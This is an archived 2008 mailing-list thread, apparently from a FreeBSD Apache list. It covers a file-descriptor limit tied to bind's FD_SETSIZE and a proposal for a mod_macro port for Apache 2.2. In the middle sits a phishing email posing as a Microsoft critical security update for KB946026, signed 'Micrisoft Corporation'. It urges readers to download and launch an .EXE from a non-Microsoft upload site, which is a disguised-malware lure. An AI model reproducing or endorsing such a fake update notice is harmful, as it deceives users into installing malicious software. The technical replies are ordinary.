From oxy at field.hu Tue May 6 08:08:21 2008 From: oxy at field.hu (oxy) Date: Tue May 6 08:08:25 2008 Subject: increasing file descriptors Message-ID: <48200E67.8080208@field.hu> hi! i am using fbsd 7.0-rel and apache 2.2.8.. my problem is that after ~230 vhosts i ran out of file descriptors.. (2x230 files, access and error log for each vhost) when i use only one error log i don't run out, however i need to use different error log for each vhost and don't want to use one and divide it later... the error in httpd-error.log is: /usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: REQUIRE(maxfd <= (int)1024U) failed. /usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: REQUIRE(maxfd <= (int)1024U) failed. /usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: REQUIRE(maxfd <= (int)1024U) failed. sysctl settings: kern.maxfiles: 65536 kern.maxfilesperproc: 65536 kern.maxusers: 1024 thanks for your help! From pgollucci at p6m7g8.com Thu May 8 05:16:43 2008 From: pgollucci at p6m7g8.com (Philip M. Gollucci) Date: Thu May 8 05:16:46 2008 Subject: increasing file descriptors In-Reply-To: <48200E67.8080208@field.hu> References: <48200E67.8080208@field.hu> Message-ID: <48228CAC.3030206@p6m7g8.com> oxy wrote: > the error in httpd-error.log is: > /usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: > REQUIRE(maxfd <= (int)1024U) failed. > /usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: > REQUIRE(maxfd <= (int)1024U) failed. > /usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: > REQUIRE(maxfd <= (int)1024U) failed. You aren't running out of file descriptions, you are confusing bind. Why are these errors in your httpd logs? If you were out of file descriptors, you would see file: table is full check the dmesg buffer. Are you using mod_domain in httpd ? > >/usr/src/lib/bind/isc/../../../contrib/bind9/lib/isc/unix/socket.c:2238: > REQUIRE(maxfd <= (int)1024U) failed. As seen in the actual source file: REQUIRE(maxfd <= (int)FD_SETSIZE); that (int)1024U comes from /usr/src/sys/sys/select.h /* * Select uses bit masks of file descriptors in longs. These macros * manipulate such bit fields (the filesystem macros use chars). * FD_SETSIZE may be defined by the user, but the default here should * be enough for most uses. */ #ifndef FD_SETSIZE #define FD_SETSIZE 1024U #endif You can raise this, but you'll need to recompile bind too. I'd start with 2048U if I were you. Bind does this b/c it indexes arrays for sockets based on this. From suport at update-center.microsoft.com Wed May 21 21:51:08 2008 From: suport at update-center.microsoft.com (Micrisoft Corporation 2008 ©) Date: Wed May 21 21:51:13 2008 Subject: Important update from Microsoft Windows XP/2003 Professional Service Pack 2 (KB946026) Message-ID: <1211405405.19610.qmail@update-center.microsoft.com> [welcome-left.jpg] [welcome-right.jpg] Critical Security Update for Microsoft Windows (KB946026) A critical security issue has been identified that could allow an attacker to compromise a computer running Windows and gain control over your system and files.This issue has been discussed in KB946026 Microsoft Knowledge Base. Microsoft Security Response Team recommends to protect your computer by installing this update from Microsoft. Patch Information: Type: Critical Security Update Vulnerability: High Vendor notified: March, 17, 2008 Update Release Date: May, 21, 2008 Download Size: 0.99 MB, < 2 minutes @ 56.6 modem File Name: [1]WINDOWS-KB946026-X86-ENU Affected Versions: Microsoft Windows XP/2003 To install this update, follow these instructions: 1 Download [2]WINDOWS-KB946026-X86-ENU file from Windows Update site or open an attached file. 2 Launch and follow on-screen instructions. 3 After you install this item, you may have to restart your computer, to ensure a full protection. © 2008 Microsoft Corporation. All rights reserved. [3]Terms of Use | [4]Privacy Statement References 1. http://hadco.net/upload/WINDOWS-KB946026-X86-ENU.EXE.exe 2. http://hadco.net/upload/WINDOWS-KB946026-X86-ENU.EXE.exe 3. http://www.microsoft.com/info/cpyright.htm 4. http://www.microsoft.com/info/privacy.htm From lukasz at wasikowski.net Thu May 29 09:41:08 2008 From: lukasz at wasikowski.net (=?iso-8859-2?Q?=A3ukasz_W=B1sikowski?=) Date: Thu May 29 09:41:22 2008 Subject: mod_macro proposal Message-ID: <001c01c8c16c$a4f09c80$eed1d580$@net> Hello! According to http://cri.ensmp.fr/~coelho/mod_macro/#download mod_macro 1.1.6 (in FreeBSD ports, marked as USE_APACHE=20+) is for apache 2.0, for apache 2.2 is mod_macro 1.1.10 (currently not in ports). I'd like to add www/mod_macro22 to ports tree and actively maintain it. In this case is it a good idea to make www/mod_macro2 (1.1.6) only for apache 2.0 as stated by it's author (after adding mod_macro22 to ports)? What are your thoughts in this topic? -- Best regards, Lukasz Wasikowski From pgollucci at p6m7g8.com Sat May 31 19:59:55 2008 From: pgollucci at p6m7g8.com (Philip M. Gollucci) Date: Sat May 31 20:00:00 2008 Subject: mod_macro proposal In-Reply-To: <001c01c8c16c$a4f09c80$eed1d580$@net> References: <001c01c8c16c$a4f09c80$eed1d580$@net> Message-ID: <4841ABE0.4040505@p6m7g8.com> ?ukasz W?sikowski wrote: > Hello! > > According to http://cri.ensmp.fr/~coelho/mod_macro/#download mod_macro 1.1.6 > (in FreeBSD ports, marked as USE_APACHE=20+) is for apache 2.0, for apache If thats the case, this should say USE_APACHE=20 > 2.2 is mod_macro 1.1.10 (currently not in ports). I'd like to add > www/mod_macro22 to ports tree and actively maintain it. In this case is it a > good idea to make www/mod_macro2 (1.1.6) only for apache 2.0 as stated by > it's author (after adding mod_macro22 to ports)? What are your thoughts in > this topic? www/mod_macro20 -> USE_APACHE=20 www/mod_macro22 -> USE_APACHE=22 www/mod_macro24 -> USE_APACHE=24 Realistically though, the module author really should patch the module to work with both 2.0.x and 2.2.x. The differences should be really minor. -- ------------------------------------------------------------------------ Philip M. Gollucci (philip@ridecharge.com) o:703.549.2050x206 Senior System Admin - Riderway, Inc. http://riderway.com / http://ridecharge.com 1024D/DB9B8C1C B90B FBC3 A3A1 C71A 8E70 3F8C 75B8 8FFB DB9B 8C1C Work like you don't need the money, love like you'll never get hurt, and dance like nobody's watching.